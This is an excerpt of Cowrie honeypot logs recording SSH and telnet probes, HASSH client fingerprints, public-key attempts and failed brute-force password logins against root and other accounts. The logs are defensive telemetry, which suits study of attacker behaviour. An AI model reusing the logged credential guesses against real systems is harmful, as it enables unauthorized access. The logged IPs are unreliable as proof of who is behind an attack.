{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:31.081770Z","src_ip":"87.251.64.176","session":"b9b8fce2bec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":36690,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d1e817a8977","protocol":"ssh","message":"New connection: 80.94.92.171:36690 (10.17.0.5:22) [session: 8d1e817a8977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:34.817693Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:34.929172Z","src_ip":"80.94.92.171","session":"8d1e817a8977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.5377037525177,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:40.614748Z","src_ip":"192.119.13.58","session":"480c2329f3bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36706,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e5958886184","protocol":"ssh","message":"New connection: 194.113.233.25:36706 (10.17.0.5:22) [session: 2e5958886184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:15.416229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:15.421529Z","src_ip":"194.113.233.25","session":"2e5958886184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:15.514037Z","src_ip":"194.113.233.25","session":"2e5958886184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7","message":"login attempt [root/p0o9i8u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:15.792444Z","src_ip":"194.113.233.25","session":"2e5958886184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:17.209391Z","src_ip":"194.113.233.25","session":"2e5958886184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":41878,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c1004c76a9","protocol":"ssh","message":"New connection: 103.183.114.55:41878 (159.203.135.109:22) [session: a5c1004c76a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:44.541250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:44.550593Z","src_ip":"103.183.114.55","session":"a5c1004c76a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:44.776732Z","src_ip":"103.183.114.55","session":"a5c1004c76a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrej","message":"login attempt [root/andrej] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:45.457468Z","src_ip":"103.183.114.55","session":"a5c1004c76a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:57:46.686383Z","src_ip":"103.183.114.55","session":"a5c1004c76a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8656be05384","protocol":"ssh","message":"New connection: 167.172.81.52:54372 (10.17.0.5:22) [session: b8656be05384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:00.768643Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:00.773609Z","src_ip":"167.172.81.52","session":"b8656be05384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:00.777308Z","src_ip":"167.172.81.52","session":"b8656be05384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":34896,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf07d10452d","protocol":"ssh","message":"New connection: 2.57.122.238:34896 (159.203.135.109:22) [session: bdf07d10452d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:26.026452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:26.031230Z","src_ip":"2.57.122.238","session":"bdf07d10452d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:26.130857Z","src_ip":"2.57.122.238","session":"bdf07d10452d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:26.434896Z","src_ip":"2.57.122.238","session":"bdf07d10452d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:27.537680Z","src_ip":"2.57.122.238","session":"bdf07d10452d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50954,"dst_ip":"159.203.135.109","dst_port":22,"session":"1386679f252e","protocol":"ssh","message":"New connection: 80.94.92.186:50954 (159.203.135.109:22) [session: 1386679f252e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:50.762573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:50.896244Z","src_ip":"80.94.92.186","session":"1386679f252e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:50.900048Z","src_ip":"80.94.92.186","session":"1386679f252e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fuckyou","message":"login attempt [sol/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:51.709985Z","src_ip":"80.94.92.186","session":"1386679f252e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:58:52.874974Z","src_ip":"80.94.92.186","session":"1386679f252e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":35908,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b805884d363","protocol":"ssh","message":"New connection: 209.209.8.82:35908 (10.17.0.5:22) [session: 4b805884d363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.684671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.689732Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.711538Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:74:e5:af:c9:b9:91:82:7b:16:38:74:c0:22:cf:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpxwyPg+kOsCi86v9xxernU1RN0VHzA3afrtiQSVZLUO2QqKGbiUicFTBCq2frt6bDRuAUsXMgqS8zxa20wBFS1msiFkPgX4eyyGYGvprF3VbB33cOdsg+Y96z81rfZvwfrTALVg+srOiOSlTYsXkIGQzxK29QhEYyX92wItb1GvBicZmxFCg0jx+8q+JaDHyA5gsH/zIi/vogV4pL8f52AEd6kKX2ptO/2vIMHlbC6IRiUm4TOf1a7XwgagF6T8F8kcjQjFb/bO0BJ+w5ballYahuFOvUhYdPw16bxS5LyWZUivCbSu833wsNKX41E2A2QHNSRfumNqd2H5+SAC7h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:74:e5:af:c9:b9:91:82:7b:16:38:74:c0:22:cf:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.786943Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:74:e5:af:c9:b9:91:82:7b:16:38:74:c0:22:cf:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpxwyPg+kOsCi86v9xxernU1RN0VHzA3afrtiQSVZLUO2QqKGbiUicFTBCq2frt6bDRuAUsXMgqS8zxa20wBFS1msiFkPgX4eyyGYGvprF3VbB33cOdsg+Y96z81rfZvwfrTALVg+srOiOSlTYsXkIGQzxK29QhEYyX92wItb1GvBicZmxFCg0jx+8q+JaDHyA5gsH/zIi/vogV4pL8f52AEd6kKX2ptO/2vIMHlbC6IRiUm4TOf1a7XwgagF6T8F8kcjQjFb/bO0BJ+w5ballYahuFOvUhYdPw16bxS5LyWZUivCbSu833wsNKX41E2A2QHNSRfumNqd2H5+SAC7h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.790879Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:fc:b9:d0:c7:7e:6e:b2:a0:ba:a1:75:a8:6f:26:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyNJGylO77qs7wunkUfPskZ9gFyLnswNdQ/22bM7aPwhve5OknjbNf3uLBX3DHCeddbuRvixnEJZNXbseZfvpPwJAGIvJ8rECoUaL7U3dsMI8Q0+Fxi8bcBZanxgchEkEHDvDTnM4x13OP1IQCgAIe9C2uFRqLS6Ro36b6C+V0YE6ibjYMIcXdK4DF1evcu6fgh+HI8IgFzF4uNWtRCSg3Yqhlq+bwoxnp1y9LTr/m1ond1wx8/B815XONsKkVPjFgyuIOzluVEYrnwDqbJjd+HQ0dolMnv5yXcS8v28PM3cO9/SsrmNcxd81qn6rdBJVGhAVwb3B9ric30Y7tYQFT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:fc:b9:d0:c7:7e:6e:b2:a0:ba:a1:75:a8:6f:26:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.811144Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:fc:b9:d0:c7:7e:6e:b2:a0:ba:a1:75:a8:6f:26:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyNJGylO77qs7wunkUfPskZ9gFyLnswNdQ/22bM7aPwhve5OknjbNf3uLBX3DHCeddbuRvixnEJZNXbseZfvpPwJAGIvJ8rECoUaL7U3dsMI8Q0+Fxi8bcBZanxgchEkEHDvDTnM4x13OP1IQCgAIe9C2uFRqLS6Ro36b6C+V0YE6ibjYMIcXdK4DF1evcu6fgh+HI8IgFzF4uNWtRCSg3Yqhlq+bwoxnp1y9LTr/m1ond1wx8/B815XONsKkVPjFgyuIOzluVEYrnwDqbJjd+HQ0dolMnv5yXcS8v28PM3cO9/SsrmNcxd81qn6rdBJVGhAVwb3B9ric30Y7tYQFT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.815426Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:90:3d:90:a9:cb:19:aa:fc:71:39:7b:c0:8e:70:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7SkkYM/o4uLmqe5uCTGgwl+H04xF4/5KneJxNJ/WqIZyz7TzVFM0kSMPi30OJIHCJvkJN3AUx8QEa/dD3iEYcC5FnTbI0r/N9HH014CAn3I0UcVqjnaWzhxPa8XXtztADJT98zujsZ3ssl2fX6X+sPuykRhl0/sZp6sroBgICDXIC5kerIDjxHFPXJtyH//SduZo2YUjghwAiqwZFLF14hjKS/Gmnli0EgUioOy8jmmVtL/3PeyznfI422GASv7p0i17C1fqobb+4jhWh7TqXu+qcXr545xNDXdFU8VNSs65tBBT1cvyUqsB7VhokCtDvSryCHBPFmFYoYRxQwltgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:90:3d:90:a9:cb:19:aa:fc:71:39:7b:c0:8e:70:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.835964Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:90:3d:90:a9:cb:19:aa:fc:71:39:7b:c0:8e:70:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7SkkYM/o4uLmqe5uCTGgwl+H04xF4/5KneJxNJ/WqIZyz7TzVFM0kSMPi30OJIHCJvkJN3AUx8QEa/dD3iEYcC5FnTbI0r/N9HH014CAn3I0UcVqjnaWzhxPa8XXtztADJT98zujsZ3ssl2fX6X+sPuykRhl0/sZp6sroBgICDXIC5kerIDjxHFPXJtyH//SduZo2YUjghwAiqwZFLF14hjKS/Gmnli0EgUioOy8jmmVtL/3PeyznfI422GASv7p0i17C1fqobb+4jhWh7TqXu+qcXr545xNDXdFU8VNSs65tBBT1cvyUqsB7VhokCtDvSryCHBPFmFYoYRxQwltgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.840088Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:55:8e:92:27:f0:c2:8a:50:4a:44:97:3c:40:07:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2UZj6AhUDWhe928F5VPNKZAqwibdMBCHfgY55PLxSMY34nbbVSNJgOjUeaEZ98kRoKt9x2nCDLzzsYJ3sSnEPMGWzmAWqMakUkacBPSh+qCO+xUQd4EhiQtPWQK9d2NVkYgyIB4/iSi4R1a1zrHRppaw3Y7fJsjSvtZYe6zpv/gyJqcgUd0RVAejHM8qyKgUiAf9kBjsJrXchiPlMK0aXtoriQLxHZo2ADiqY3KM0xY8KMVJV0YvqzllkQfuBe+O3CGOYKentDwmGarocm2WyYA/UqlVXaAgVtKXJGBeaLiMGc8hkFHHy2bUCzgpBBTt5SjLt3Y48N1Bi9lvLJDNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:55:8e:92:27:f0:c2:8a:50:4a:44:97:3c:40:07:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.861176Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:55:8e:92:27:f0:c2:8a:50:4a:44:97:3c:40:07:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2UZj6AhUDWhe928F5VPNKZAqwibdMBCHfgY55PLxSMY34nbbVSNJgOjUeaEZ98kRoKt9x2nCDLzzsYJ3sSnEPMGWzmAWqMakUkacBPSh+qCO+xUQd4EhiQtPWQK9d2NVkYgyIB4/iSi4R1a1zrHRppaw3Y7fJsjSvtZYe6zpv/gyJqcgUd0RVAejHM8qyKgUiAf9kBjsJrXchiPlMK0aXtoriQLxHZo2ADiqY3KM0xY8KMVJV0YvqzllkQfuBe+O3CGOYKentDwmGarocm2WyYA/UqlVXaAgVtKXJGBeaLiMGc8hkFHHy2bUCzgpBBTt5SjLt3Y48N1Bi9lvLJDNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.866640Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
